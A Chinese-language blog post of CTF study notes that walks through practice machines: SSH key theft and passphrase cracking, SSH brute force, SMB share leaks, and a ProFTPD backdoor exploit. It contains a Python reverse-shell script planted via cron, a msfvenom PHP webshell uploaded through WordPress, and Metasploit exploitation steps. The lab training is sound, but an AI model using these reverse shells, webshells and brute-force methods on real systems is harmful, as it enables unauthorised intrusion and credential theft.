当前位置:   article > 正文

CTF自学笔记_ctf笔记

ctf笔记

第一章:课程介绍与环境搭建

1.课程介绍

CTF比较中涉及内容比较复杂,我们要利用所有可以利用的资源获取flag。

2.环境搭建

安装软件:(都是数据库软件)

  1. vmware workstation 14
  2. Virtual box

安装并配置虚拟电脑

在这里插入图片描述
勾选重新初始化所有网卡的mac地址
设置网卡运行模式,选择桥接,选择对应网卡:
在这里插入图片描述
登陆成功:在这里插入图片描述

测试靶场网络环境:

1.使用 netdiscover -r ip/netmask 嗅探靶场IP
(例:netdiscover -r 192.168.231.1/24)

2.再使用ping测试联通性
(Ctrl+C 停止ping命令

第二章:CTF训练 SSH服务

1.CTF-SSH私钥泄露

信息探测

主办方给予我们的IP地址,需要进行扫描,探测开放的服务**(漏洞检测)**

nmap -sV 192.168.231.141**(挖掘开放服务信息)**

分析探测结果

每一个服务对应一个计算机端口。常用端口为0~1023,在扫描中查找特殊端口,尤其对大端口的http服务排查

探测大端口的信息

对于开放http服务的大端口,可以采取http://ip:port/的形式访问;

查看源代码获取对应信息;如果没有flag信息,使用工具探测隐藏页面

dirb http://ip:port/ 对这个服务的隐藏文件进行探测

例子当中找到一个robots.txt, 分析:这个文件中存在一个配置文件
配置文件中存放着允许搜索引擎探测的文件跟不允许搜索引擎探测的文件
Disallow: 不允许被探测的文件
发现一个 不可靠人 文件课程中的robots.txt
成功找到flag!
成功找到flag

继续寻找下一个flag值ssh
打开之后
SSH作用:可以使远程计算机通过ssh客户端登录到本地服务器ssh服务上,然后实现远程计算机对服务器的远程操作。
.
id_rsa 私钥跟 id_rsa.pub公钥进行对比,若对比成功则登陆服务器
在这里插入图片描述
在尝试将前二个文件都下载下来之后(分别是:私钥文件、认证关键字文件)(不用下载公钥,因为存储在服务器端
.
尝试用私钥文件登陆远程服务器:

  1. 将文件移动到桌面
  2. 打开shell
  3. cd到桌面
  4. ls -alh (查看目录下文件的权限)(有可读可写权限即可)
  5. ssh -i id_rsa simo@192.168.231.141(对应用户名@靶机地址)
    {此时发现没有用户名,想到刚刚下载了认证关键字打开,最后一行发现有用户名}
    ![在这里插入图片描述](https://img-blog.csdnimg.cn/20201105003222473.png#pic_center
    提示不能建立连接输入yes在这里插入图片描述
    6.提示权限不足,重新赋权: chmod 600 id_res
    (赋予权限可读可写)
    .
    7.提示需要输入密码(没有密码无法登陆)
    {接下来需要更进一步的解密信息}
    在这里插入图片描述
    此时,发现已经连接上了,但是需要密码,尝试3次密码后仍然错误,就需要想办法拿到密码。先将id_rsa转化成可被john识别的文件,用命令ssh2john

文件名 > 输出文件名,如果出现此命令文找到,就用
python3 /usr/share/john/ssh2john.py id_rsa > passwds

用zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules
passwds或者john passwds将密码文件passwds破解

接下来要使用字典进行解密isacrack信息
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules isacrack(利用zcat工具,榨取gz文件密码,通过管道逐行传给jogh,–pipe就是jogh输入,isacrack规则进行解密)
.
密码出现:starwars
在这里插入图片描述
8.密码输入正确,取得访问权
在这里插入图片描述

获取root权限:
1.查看具有root权限的文件
find / -perm -4000 2>/dev/null
(从根目录开始一直逐层向下,查看具有执行权限的文件)
(-perm -400 表示 具有执行权限)
(2>/dev/null 表示 避免错误输出命令)(不加可能查看时会出现意外错误)
.
输入完找到,发现一个跟开头很像的文件叫read_message(并且是可以打开的)在这里插入图片描述
直接cat read_message,发现flag2就在里面
在这里插入图片描述
仔细阅读程序后发现,是一个C语言程序,并且在错误时会执行一个message文件,这文件恰巧是具有root权限文件,我们执行试试:
在这里插入图片描述
再试试溢出在这里插入图片描述
这时我们发现已经,进入了root权限
在这里插入图片描述
打开falg.txt,得到最后的flag

小节总结:利用一系列的逐步挖掘,挖掘出所有flag

代码总结:

  1. 使用 netdiscover -r ip/netmask 嗅探靶场IP
  2. nmap -sV 192.168.231.141 挖掘开放服务信息
  3. dirb http://ip:port/ 对这个服务的隐藏文件进行探测
  4. ssh -i id_rsa simo@192.168.231.141(对应用户名@靶机地址) ssh登陆登陆服务器
  5. chmod 600 id_res 赋予权限可读可写
  6. ssh2john id_rsa id_rsa > rsacrack 这样就在文件夹出现了一个john可识别的文件
  7. zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules isacrack (利用zcat工具,榨取gz文件密码,通过管道逐行传给jogh,–pipe就是jogh输入,isacrack规则进行解密)
  8. find / -perm -4000 2>/dev/null (从根目录开始一直逐层向下,查看具有执行权限的文件)
    (-perm -400 表示 具有执行权限)
    (2>/dev/null 表示 避免错误输出命令)(不加可能查看时会出现意外错误)
  9. cat read_message 查看文件内容

2.CTF-SSH服务测试(拿到用户权限)

1.SSH协议介绍

SSH为建立在于应用层基础上的安全协议,SSH专为远程登录会话和其他网络服务提供安全性的协议。最初只是在UNIX上的一个程序由于其功能强大,后又被移植到其他操作系统。SSH协议是基于TCP 22号端口的服务

2.SSH协议认证机制

基于口令的安全验证

只要你知道自己帐号和口令,就可以登录到远程主机。所有传输的数据都会被加密,但是不能保证你正在连接的服务器就是你想连接的服务器。可能会有别的服务器在冒充真正的服务器,也就是受到“中间人”这种方式的攻击。

基于密钥的安全验证

需要依靠密钥登陆服务器,若私钥公钥相匹配则验证成功。
私钥:自己的密钥 公钥:服务器密钥(公用密钥)
id_rsa就是你的私钥,而id_rsa.pub则是你的公钥

3.SSH协议验证机制弱点

基于口令的安全验证

基于字典的暴力破解,破解对应用户名和密码,通过SSH客户端连接到远程主机的SSH服务,实现对服务器的一定控制。(不一定是root权限,可能需要进一步提升权限)(若口令容易破解

基于密钥的安全验证

通过对主机信息收集,获取到泄露的用户名和对应的密钥。

 chmod 600 id_rsa (修改为可读可写)
 ssh -i id_rsa 用户名@主机地址  登陆服务器。(不一定是root权限)
  • 1
  • 2

4.开始实验

该做什么呢?一句话,终极目的取得flag,最好先拿到root权限

信息探测

探测靶场开放的服务与服务的版本
nmap -sV 靶场IP地址

探测靶场全部信息
nmap -A -v 靶场IP地址

探测靶场的操作系统类型与版本
nmap -O 靶场IP地址

可以看到存在一个80端口跟ssh端口
在这里插入图片描述

分析探测结果

对于SSH服务22端口的靶场

首先考虑
1、暴力破解
2、私钥泄露(私钥有没有对应的密码、是否可以找到私钥的用户名)

对于开放http服务80端口或者其他端口的靶场
首先考虑
1、通过浏览器访问对应的靶场http服务,
http://靶场IP地址:http服务端口
2、使用 探测工具对http的目录进行探测,
dirb http://靶场IP地址:http服务端口/
特别注意 特殊端口 (大于1024的端口)(如8080端口)

挖掘敏感信息

使用浏览器对靶场IP的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能就是ssh的用户名信息),递归访问,力争把每一个dirb扫描到的目录页面都访问查看;

尤其对robots.txt、以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到ssh私钥信息(id_rsa);

在这里插入图片描述
进入后的页面,仔细观察后发现martin是个有用的信息

对靶场进行探测:dirb http://192.168.1.106/ (页面探测

在这里插入图片描述
分析了下,感觉files可能存在敏感信息,右键open link打开
在这里插入图片描述
点击,发现回到了原来的界面,所以没有利用价值 继续看下一个,icons结尾的,直接打开open link
在这里插入图片描述
发现了一个奇怪的文件,打开,发现RSA私钥信息(id_rsa)
在这里插入图片描述

对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;

 nikto -host 靶场IP地址
  • 1

特别注意 config 等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;

以nikto开始扫描
在这里插入图片描述
扫描到很多信息,有目录,robots.txt,以及他的服务器版本(中间件的版本)
在这里插入图片描述

利用敏感、弱点信息

对挖掘到的ssh密钥利用

1、修改id_rsa的权限

chmod 600 id_rsa
  • 1

2、利用私钥登陆服务器

ssh -i id_rsa 用户名@靶场IP地址
  • 1

注意:如果id_rsa没有解密密码,可以直接使用。但是如果id_rsa有解密密码,那么就需要进行对应的破解。

先下载私钥文件:

> wget "http://192.168.1.106/icons/VDSoyuAXi00.txt"
> (下载网址里的文件)
  • 1
  • 2

在这里插入图片描述


> mv VDSoyuAXi0.txt id_rsa
> (把VDSoyuAXi0.txt重命名成id_rsa)
  • 1
  • 2
  • 3

查看一下权限,发现不是600文件,而是:644权限
在这里插入图片描述
我们把它修改成600权限:chmod 600 id_rsa
在这里插入图片描述
尝试使用martin登陆服务器,成功在这里插入图片描述
pwd查看当前工作目录,ls -all查看所有文件信息
在这里插入图片描述
先 cd/hone/ 再 /home$ ls查看有哪些用户名
在这里插入图片描述

扩大战果

登录服务器之后,我们需要做以下操作。

1、查看当前用户 whoami
2、id 查看当前用户的权限
3、查看 根目录 寻找flag文件

使用id,查看是否为root,发现并不具有root,只是个普通用户,我们还需要进一步提权:
在这里插入图片描述

再进行提权之前,先使用以下命令,查看下配置信息

cat /etc/passwd     查看所有用户的列表
cat /etc/group       查看用户组
find / -user 用户名  查看属于某些用户的文件
/tmp                   查看缓冲文件目录 
  • 1
  • 2
  • 3
  • 4

先查看下所有用户:
在这里插入图片描述
在查看下用户组:
在这里插入图片描述
查看缓冲文件目录:
在这里插入图片描述
查看完之后,发现没有什么可利用的东西

深入挖掘(特别值得关注的位置)
  1. /etc/crontab (此文件为设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务)
  2. cat /etc/crontab挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。)

如果在 /etc/crontab 下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后 netcat 执行监听获取对应用户的权限。

如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。

下面我们来操作一下:cat /etc/crontab
在这里插入图片描述
黄色选取为定时执行的任务。可以看到有很多root用户的定时任务,也能看到jimmy有一个python类型的目录(每五分钟执行一次)
在这里插入图片描述
但是我们在tmp目录下没有看到对应的sekurity.ty文件,所以我们新建一个1.py文件对他进行重命名。

反弹shell

靶场代码

#!/usr/bin/python  环境变量的书写
import os,subprocess,socket #导入的三个模块

s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
#创建一个套接字
s.connect((“攻击机IP地址”,”攻击机监听端口”))
#使用套接字连接(反弹)到,攻击机的IP地址跟端口号
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
#将 标准输入、输出以及错误输入、输出 赋值给套接字的文件标识符,使套接字可以进行 标准输入、输出以及错误输入、输出(毕竟执行对应命令有可能出错)
p=subprocess.call([/bin/sh”,-i”])
#使用子进程调用“/bin/sh”,也就是shell的交互模式,就是执行成功或错误都返回对应的结果
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

攻击机 netcat 命令

nc -lpv 未占用端口#(nc -l表示监听模式,p表示对应端口,v表示返回信息,未占用端口号和攻击机监听端口号是一一对应的)
netstat -pantu #(查看占用端口)
  • 1
  • 2

实践一下:打开一个终端,看到4444已经被占了,所以我们使用4445,输入nc -lvp 4445
在这里插入图片描述
下面来编辑下1.py,先查看一下cat 1.py:
在这里插入图片描述
省略的两个关键字与缺省值一致,所以可省略s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM
.
重命名一下文件,并且查看,发现已重命名成功:
在这里插入图片描述
给它加一个可执行权限:chmod +x sekurity.py
在这里插入图片描述
但是现在我们发现文件是martin用户创建的,并不是jimmy用户创建的,所以说我们要等待一个反弹shell:
在这里插入图片描述
由于比较漫长这边先用4444演示,这边执行一个whoami发现已经变成jimmy了,然后用id发现并没有root权限。
没有用户的账号密码所以也不能进行su -root提升权限
这时候发现martin和jimmy不能进行提权。

背水一战

万不得已的时候 只能对ssh服务进行暴力破解。破解最后一个
用户名。破解工具 如 hydra、medusa等;

在这里插入图片描述
只能暴力破解最后一个用户名

利用 cupp 创建字典
git clone https://github.com/jeanphorn/common-password.git  
chmod +x cupp.py
./cupp.py -i     以交互的方式创建字典  
  • 1
  • 2
  • 3

首先打开一个终端cd,切换到桌面
在这里插入图片描述

输入 git clone https://github.com/jeanphorn/common-password.git 克隆字典文件在这里插入图片描述
cd common-password/ 切换到对应的目录在这里插入图片描述
chmod +x cupp.py 进行可执行权限的赋予
./cupp.py -i (./表示执行,-i以交互模式进行选择)
经过一系列操作,成功创建字典文件:在这里插入图片描述

使用 metasploit 破解SSH

在终端中输入
msfconsole
– msf > use auxiliary/scanner/ssh/ssh_login
(使用扫描模块)
– msf auxiliary(ssh_login) > set rhosts 192.168.1.137
– msf auxiliary(ssh_login) > set username hadi
– msf auxiliary(ssh_login) > set pass_file hadi.txt
(设置对应的参数↑)
– msf auxiliary(ssh_login) > run
(运行对应的破解)

尝试一下,先输入msfconsole:在这里插入图片描述
接下来输入use auxiliary/scanner/ssh/ssh_login
我们使用到这个模块,接下来我们设置下参数:
先看下参数 show options在这里插入图片描述

  1. 设置下远程主机的ip:在这里插入图片描述
  2. 设置要破解的用户名:
    在这里插入图片描述
  3. 设置pass_file :在这里插入图片描述
  4. 设置线程:为5在这里插入图片描述
  5. 最后查看一下参数是否设置完成:
    (可以看到参数都已经设置完成)在这里插入图片描述
  6. 设置verbose为true (这样每条登录信息都能被看到)在这里插入图片描述
  7. run运行,最终得出结果密码为hadi123

这边就不就行破解了,直接重新设置一下
在这里插入图片描述
把其他设置设置一下:
在这里插入图片描述
输入sessions -i l(打开会话)在这里插入图片描述
这时候发现后台的shell没有像传统shell那样的效果,所以使用一串python代码进行优化。

python -c “import pty; pty.spawn(‘/bin/bash’)”
su – root
把终端重新定向到会话中
在这里插入图片描述
输入得到一个类似shell界面

继续输入su - root得到root权限,键入id,发现是0号,
至此已经得到root权限在这里插入图片描述

获取flag

提升到root权限之后,切换目录寻找flag文件。一般情况下,flag文件是在root目录下。

输入:cat flag文件名 (一般情况 flag.txt)
在这里插入图片描述
至此,已经得到所有flag。

总结:

在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场机器,个别情况进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。

CTF中 要特别注意 /tmp 数据缓冲目录(电脑重启之后会消失) 以及 /etc/crontab 设置定时执行的文件

第三章:CTF-SMB信息泄露

1. SMB介绍

SMB(Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。后来Linux移植了SMB,并称为samba。

SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445

SMB协议,计算机可以访问网络资源,下载对应的资源文件
在这里插入图片描述

2. 信息探测

对于只是给定一个对应IP地址的靶场机器,我们需要用对其进行扫描,探测开放的服务。

渗透其实是针对服务的漏洞探测,然后进行对应的数据包发送,获取机器的最高权限

nmap -sV IP				挖掘开放服务信息
nmap -A -v -T4 IP		挖掘靶场全部信息
  • 1
  • 2

开始实操:先输入一个nmap挖掘开放信息: 这里是引用
再看看靶场的全部信息nmap -A -v -T4 IP
(-A:探测所有信息,-v表示对探测信息全部输出
-T4使用最大线程(最快速)的nmap扫描)
在这里插入图片描述

分析探测结果

每一个服务对应计算机的一个端口,用来进行通信。常用端口 0~1023端口,在扫描结果中查找特殊端口

针对特殊端口进行探测,尤其对开发大端口的http服务进行排查;

针对SMB协议弱点分析

根据扫描结果发现,该靶机开放了SMB服务在这里插入图片描述

  1. 针对SMB协议,使用空口令,若口令尝试登陆,并查看敏感文件,下载查看;
smbclient –L IP  #列出该IP所分享的所有链接及目录
smbclient ‘\\IP\$share’
get 敏感文件
  • 1
  • 2
  • 3

这里是引用
print 共享打印机
share 共享文件夹
IPC 空链接(相当于一个不需要用户名就可以登录的共享方式 web服务器)
接下来尝试一下smbclient ‘\IP$share’ (share代表想要查看的共享文件夹):
print没有权限,故连接失败在这里插入图片描述
接下来尝试其他,看看share是否有权限:
在这里插入图片描述
此时发现已经进入到共享文件夹中,输入exit退出,查看空链接是否有权限在这里插入图片描述
发现可以进入到空链接,却没有查看的权限,所以说空链接是没有任何利用价值的,所以退出。
刚才发现share是有东西的,我们进入。
在这里插入图片描述
这时候可以使用get来查看敏感文件,并且查看敏感文件中的信息(在这里看到一个deets.txt,get他 ):
在这里插入图片描述
下面打开另一个终端来查看刚下好的文件的内容
(直接右键终端空白区域点new window)在这里插入图片描述
查看文件的时候发现一个密码:12345,猜测可能是某个服务或者某个对应的登录页面的密码,先记下来
下面探测是否有更敏感的信息,看到一个wordpress进入这个文件夹查看是否有我们想要的敏感信息cd 他ls
在这里插入图片描述
我们在查看他的时候要注意,是否有他的配置文件,我们在下面,发现了一个wp-config.php配置文件,配置文件当中一般情况下具有用户名密码,接着我们来看下是否包含用户名跟密码:
在这里插入图片描述
我们发现这边定义了一个DB_NAME 意思是数据库名,然后下面有DB_USER,DB_PASSWORD,并且有用户名跟密码。(这边我们应该想到,是否可以根据数据库用户名密码登陆服务器,取得服务器的权限呢?)
我们在上面的扫描结果当中,看到了服务器也开放了一个3306的mysql的端口在这里插入图片描述
现在我们就在终端里远程登陆一下这个数据库。
首先 mysql -h 10.22.8.1 -u Admin -p
在这里插入图片描述
这时候发现我们并不能远程登陆mysql的服务,这里不行,我们是否还有远程登陆的位置呢?这时候回到扫描结果,我们发现开放了一个 22端口,我们再来尝试一下,是否当前这个用户和密码可以登陆远程服务器利用ssh协议在这里插入图片描述
首先:ssh Admin@10.22.8.1
并吧之前的粘贴进来,我们发现这个密码并不正确,最终失败在这里插入图片描述
我们除了可以对SMB进行分析,也可以对SMB远程协议进行分析:

  1. 针对SMB协议远程溢出漏洞进行分析;
searchsploit samba版本号
  • 1

首先我们来查看一下刚才扫描的SMB版本号
在这里插入图片描述
这里我们把黄色选取的版本号复制出来
Samba smbd 3.X - 4.X在这里插入图片描述
我们发现,没有任何可利用的信息,我们接下来吧445的这个版本信息复制出来。看一下有没有漏洞:
在这里插入图片描述
可以看到,也没有任何漏洞,如果有远程溢出漏洞的话,我们可以直接使用,获取靶场机器最高权限
.
咱现在已经获得了一定的用户名和密码信息之后,我们来针对HTTP协议的弱点进行分析(因为之前我们针对ssh、mysql这些登录协议的探测并没有成功,并且受到权限的限制):

针对HTTP协议弱点分析

  1. 浏览器查看网站;

  2. 使用dirb nikto探测;

  3. 寻找突破点,目标登录后台,上传webshell;

我们先用dirb探测是否具有登陆界面:在这里插入图片描述
扫描到了一个wp-admin,右键打开:
在这里插入图片描述
输入之前在wp-config找到的账号密码,会进入到一个后台:在这里插入图片描述
对于WordPress咱们可以使用固定的方法来上传木马进行提权

制作webshell

msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php

切换到终端,输入msfvenom来制作一个php 的 webshell,lhost(localhost)攻击机IP地址,lport为监听的端口号,文件格式为raw
在这里插入图片描述
回车,接下来msfvenom会帮我们生成一个返回到IP地址和对应端口号的源代码,下面我们把注释符(/*)以后的源代码复制。
在这里插入图片描述
接下来我们把它复制到桌面的一个文件中,这边新建一个文件webshell:
在这里插入图片描述
ctrl+v ctrl+s保存
在这里插入图片描述

启动监听

下面我们来启动监听咱们这个端口所返回的任何连接
msfconsole是比较大的集成安全,也就是渗透测试当中所有过程的框架
进入之后启动监听:
来监听webshell返回的shell

msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > show options#查看所有参数
msf exploit(handler) > set lhost 攻击机IP地址 #设置返回的IP地址
msf exploit(handler) > set lport 4444#设置监听端口
msf exploit(handler) > run#开始监听本地地址端口号是否有反弹回来的TCP连接
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

上传Webshell

对于wordpress咱们就需要上传webshell:上传webshell的时候,咱们有固定的方法

使用找到的敏感信息登录系统后台,上传webshell。执行webshell(访问具有webshell的php页面)

获得反弹的shell

wordpress 上传点 theme 404.php
  • 1

执行:http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php

下面开始操作,首先我们进入外观中的编辑,这里是引用
我们会发现在他的右边有个404.php,我们点击:在这里插入图片描述
会发现有一些代码,我们给他替换成刚生成的webshell源代码。
在这里插入图片描述
之后点击上传文件:
在这里插入图片描述
提示,文件编辑成功,这时候404的代码就是webshell的代码,下面咱们来执行一下(我们上传的webshell是有固定界面的:http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php)
在这里插入图片描述
在这里插入图片描述
发现ID是一个www-data
到这边,已经获得了服务器的普通权限
接下来需要获取服务器的flag值

查找flag

当前的界面是看不到用户名的,所以要优化

优化终端:python -c “import pty;pty.spawn(‘/bin/bash’)”
(-c表示执行python的一条指令,)

这里是引用
接下来咱们需要查找敏感信息,提示root权限,先查找一下当前计算机当中还有哪些用户:cat /etc/passwd
在这里插入图片描述
逐条向下看,看看当前目录下有没有其他用户名
在这里插入图片描述
我们发现这个togie是在home目录下的,我们现在来进行提权,首先,我们切换到该用户名:su togie
发现需要密码,空密码不行
在这里插入图片描述
这时候想到上面有个密码是12345,我们来试试看:
在这里插入图片描述
下面我们来切换root权限,我们使用sudo -l来看一下su能执行哪些操作
在这里插入图片描述
下面我们使用sudo su来提升root值:
在这里插入图片描述
可以发现,已经变成root权限了
在提升到root之后我们需要查找flag值,直接cd到root:在这里插入图片描述
发现有个flag直接打开,现在这个靶场就已经拿下。

总结

对于开放139和445端口的机器一定要注意是否可以直接使用smbclient登录到共享目录查找敏感文件。

一般情况下flag值都在/root目录下,并且需要提升root权限才能查看内容;

代码总结:

nmap -sV IP				#挖掘开放服务信息
nmap -A -v -T4 IP		#挖掘靶场全部信息

smbclient –L IP  #列出该IP所分享的所有链接及目录
smbclient ‘\\IP\$share’#打开目录
get 敏感文件

mysql -h 10.22.8.1 -u Admin -p#登陆一个mysql数据库

ssh Admin@10.22.8.1 #老生常谈的ssh登陆命令

searchsploit 版本号#如果有远程溢出漏洞的话可以直接取得最高权限
制作监听:
msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw > /root/Desktop/shell.php#制作一个webshell监听

启动监听:
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > show options#查看所有参数
msf exploit(handler) > set lhost 攻击机IP地址 #设置返回的IP地址
msf exploit(handler) > set lport 4444#设置监听端口
msf exploit(handler) > run#开始监听本地地址端口号是否有反弹回来的TCP连接

gedit webshell.php#新建一个叫webshell.php的文件,gedit的意思是编辑文本文件

python -c “import pty;pty.spawn(/bin/bash’)#优化终端,(-c表示执行python的一条指令)

cat /etc/passwd#查看当前计算机当中还有那些用户

su 用户名#su命令用于变更为其他使用者的身份,除 root 外,需要键入该使用者的密码。

sudo -l#看下su能执行那些操作 关于sudo的更多:https://www.runoob.com/linux/linux-comm-sudo.html

sudo su#提升到root权限
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34

第四章:CTF训练 服务安全FTP服务

FTP介绍

FTP 是File Transfer
Protocol(文件传输协议)的英文简称,而中文简称为“文传协议”。用于Internet上的控制文件的双向传输。同时,它也是一个应用程序(Application)。基于不同的操作系统有不同的FTP应用程序,而所有这些应用程序都遵守同一种协议以传输文件。在FTP的使用当中,用户经常遇到两个概念:“下载”(Download)和"上传"(Upload)。"下载"文件就是从远程主机拷贝文件至自己的计算机上;"上传"文件就是将文件从自己的计算机中拷贝至远程主机上。用Internet语言来说,用户可通过客户机程序向(从)远程主机上传(下载)文件。

信息探测

nmap -sV 靶场IP地址 #扫描主机服务信息以及服务版本

nmap -T4 -A -v 靶场IP地址 #快速扫描主机全部信息
  • 1
  • 2
  • 3

发现漏洞

分析nmap 扫描结果,并对结果进行分析,挖掘可以利用的信息

先回到搜索结果看,发现开放了21、22、80端口
21端口就是FTP服务(白色选取是FTP软件 右边是该软件的版本)在这里插入图片描述

使用seachsploit,查看漏洞信息,找到可利用的溢出代码;

先复制FTP的版本信息ProFTPD 1.3.3c 直接粘贴到searchsploit后面这里是引用
这时候返回了一些信息,可以看到上面那个意思是远程代码执行,通过他源代码中的后门。下面那个集成到metasploit中,右边Path是该后台存储的根目录,以及他的分类目录,我们现在来查看下他的第一个txt文件,我们吧右上角的目录直接复制下来
在这里插入图片描述
现在我们就可以看到该源代码的内容,这里我们需要修改对应的参数,之后执行对应的远程溢出代码
可以看到metasploit也集成了这样一个漏洞,现在我们就用更方便的方式(使用metasploit来进行溢出):

使用metasploit进行溢出

我们刚才看到了ProFTPD 1.3.3c存在对应的远程溢出,并且集成到metasploit,现在我们就使用它进行远程溢出

打开 Metasploit 在终端中输入 msfconsole

输入 search 对应的软件及版本号

 
use exploit #使用exploit

show payload#查看可以使用的payload

set payload#设置payload
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

这边进入msf以后直接search ProFTPD 1.3.3c(查找漏洞):
在这里插入图片描述
直接use 对应的模块,使用该模块
在这里插入图片描述
我们查看该exploit可以使用的payloads:show payloads
在这里插入图片描述
今天使用reverse这个payload,输入set payload cmd/unix/reverse 回车在这里插入图片描述
接下来我们设置完payload之后还要查看需要设置哪些options,输入show options查看:在这里插入图片描述
这里我们需要设置一下目标的IP地址:set rhosts 10.22.153.101
再设置一下攻击机的IP地址:set lhost 10.22.38.234

在这里插入图片描述
设置完之后输入exploit执行远程溢出,等到执行完以后,会发现直接得到了root权限:
在这里插入图片描述

优化shell

python -c “import pty;pty.spawn(‘/bin/bash’)”
(使用python pty 开启终端)在这里插入图片描述

获取Flag

一般情况下,靶场机器的flag值是存放在服务器的根目录下,/root/目录。

cd /root/
ls
cat flag
writeup 测试文档 总结文档 (完成之后最好写一个writeup文档)

我们使用ls -alh来查看下该目录下的所有文件,并且以长格式输出。
在这里插入图片描述

总结

对于开放FTP、SSH、Telnet等服务的系统,可以尝试一些对应服务版本的漏洞代码;

对于系统,一定要注意利用现成的EXP来root主机;

代码总结

msf5 > search ProFTPD 1.3.3c#查找关于ProFTPD 1.3.3c的漏洞

use exploit #使用exploit

show payload#查看可以使用的payload

set payload#设置payload

python -c "import pty;pty.spawn(’/bin/bash’)" #优化shell
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

第五章:靶场夺旗

CTF介绍

CTF是一种流行的信息安全竞赛形式,其英文名可直译为“夺得Flag”,也可意译为“夺旗赛”。其大致流程是,参赛团队之间通过进行攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方便称呼,我们把这样的内容称之为“Flag”。

CTF比赛中涉及内容比较繁杂,我们要利用所有可以利用的方法获得flag。

信息探测

nmap -p-  -T4 靶场IP地址 #扫描主机开放的端口号


nmap -T4 –A -v 靶场IP地址 #快速扫描主机全部信息
  • 1
  • 2
  • 3
  • 4

这里是引用
对于开放http服务的靶场,我们还可以使用其他工具探测

探测敏感信息:

nikto -host http://靶场IP地址:端口 #端口如果是80可以省略

dirb  http://靶场IP地址:端口
  • 1
  • 2
  • 3

让他自己进行扫描,这边再使用一个工具在这里插入图片描述
在这里插入图片描述
可以使用dirb进行

深入挖掘

分析nmap 、nikto扫描结果,挖掘可以利用的信息;

对于大端口非http服务,可以使用nc 来探测该端口的banner信息;

nc  ip地址  端口号
  • 1

例如:这里是引用
输入nc 192.168.43.213 13337
在这里插入图片描述
继续探测nc 192.168.43.213 60000
在这里插入图片描述
突然返回了一个shell,pwd看看工作目录:
在这里插入图片描述
看看目录下有什么文件:意外发现有个flag.txt
在这里插入图片描述

对于大端口http服务,可以使用浏览器浏览界面查看源代码,寻找flag值;

http://ip地址:端口号
  • 1

发现有个9090开放的HTTP服务,使用浏览器试一下:在这里插入图片描述
进入页面,又找到一个flag在这里插入图片描述

对于http服务,可以使用浏览器打开 http://ip:port/敏感页面,查看敏感信息,找到可利用的位置;

在dirb 80端口的时候,发现了一个password页面,打开后得到一个flag:
在这里插入图片描述
还有一个password:
在这里插入图片描述

更深入挖掘

发现一个密码是winter:在这里插入图片描述

FTP 匿名登录 挖掘敏感信息;

在浏览器中输入 ftp://靶场IP地址 匿名登录ftp服务器根目录,查看敏感文件,注意一定要查看源代码;

在图上显示存在匿名登陆在这里插入图片描述
接下来我们来访问一下靶场的ftp服务。打开浏览器输入ftp://192.168.43.213
在这里插入图片描述
之后我们看到pub目录,发现该目录并没有文件
现在回到dirb看看有没有robots.txt,在这里插入图片描述
发现3个目录,现在我们依次打开在这里插入图片描述
在第二个中发现一个窗口让我们进行路由:
在这里插入图片描述
有经验的话,就会知道这边存在命令注入漏洞
在这里插入图片描述
分号后面加个id,就会看到当前用户并不是root而是一个apache
这时候会想到当时在password.html中挖掘了一个密码,也就是winter,
这时候要想到/etc/passwd存着用户名和密码,但是密码只是用星号来表示,并且该文件是所有用户都可以查看的,直接cat /etc/passwd他试试在这里插入图片描述
会发现cat 的时候出现了一个猫的图案。(其实就是靶场机器做了限制)

对于命令执行中,为了绕过对应的限制,可以使用相近命令来代替限制的shell命令

cat more

接下来使用more试试:
在这里插入图片描述
发现了一个Summer用户名,并且他在home目录下,可以猜测他就是对应的用户名:

登陆靶场机器

获得对应的用户名和密码之后,可以通过ssh来登录系统,查看对应的flag值

登录用户名需要用到ssh服务,我们来看下扫描结果是否具有ssh服务:
在这里插入图片描述
可以看到22号端口存在ssh服务
接下来ssh Summer@192.168.43.213
在这里插入图片描述
我们发现,ssh交换验证方式拒绝了远程主机
发现22号端口是不能进行远程登陆的。
在这里插入图片描述
这时候发现一个22222五个2,来试下ssh:
在这里插入图片描述
在这里插入图片描述
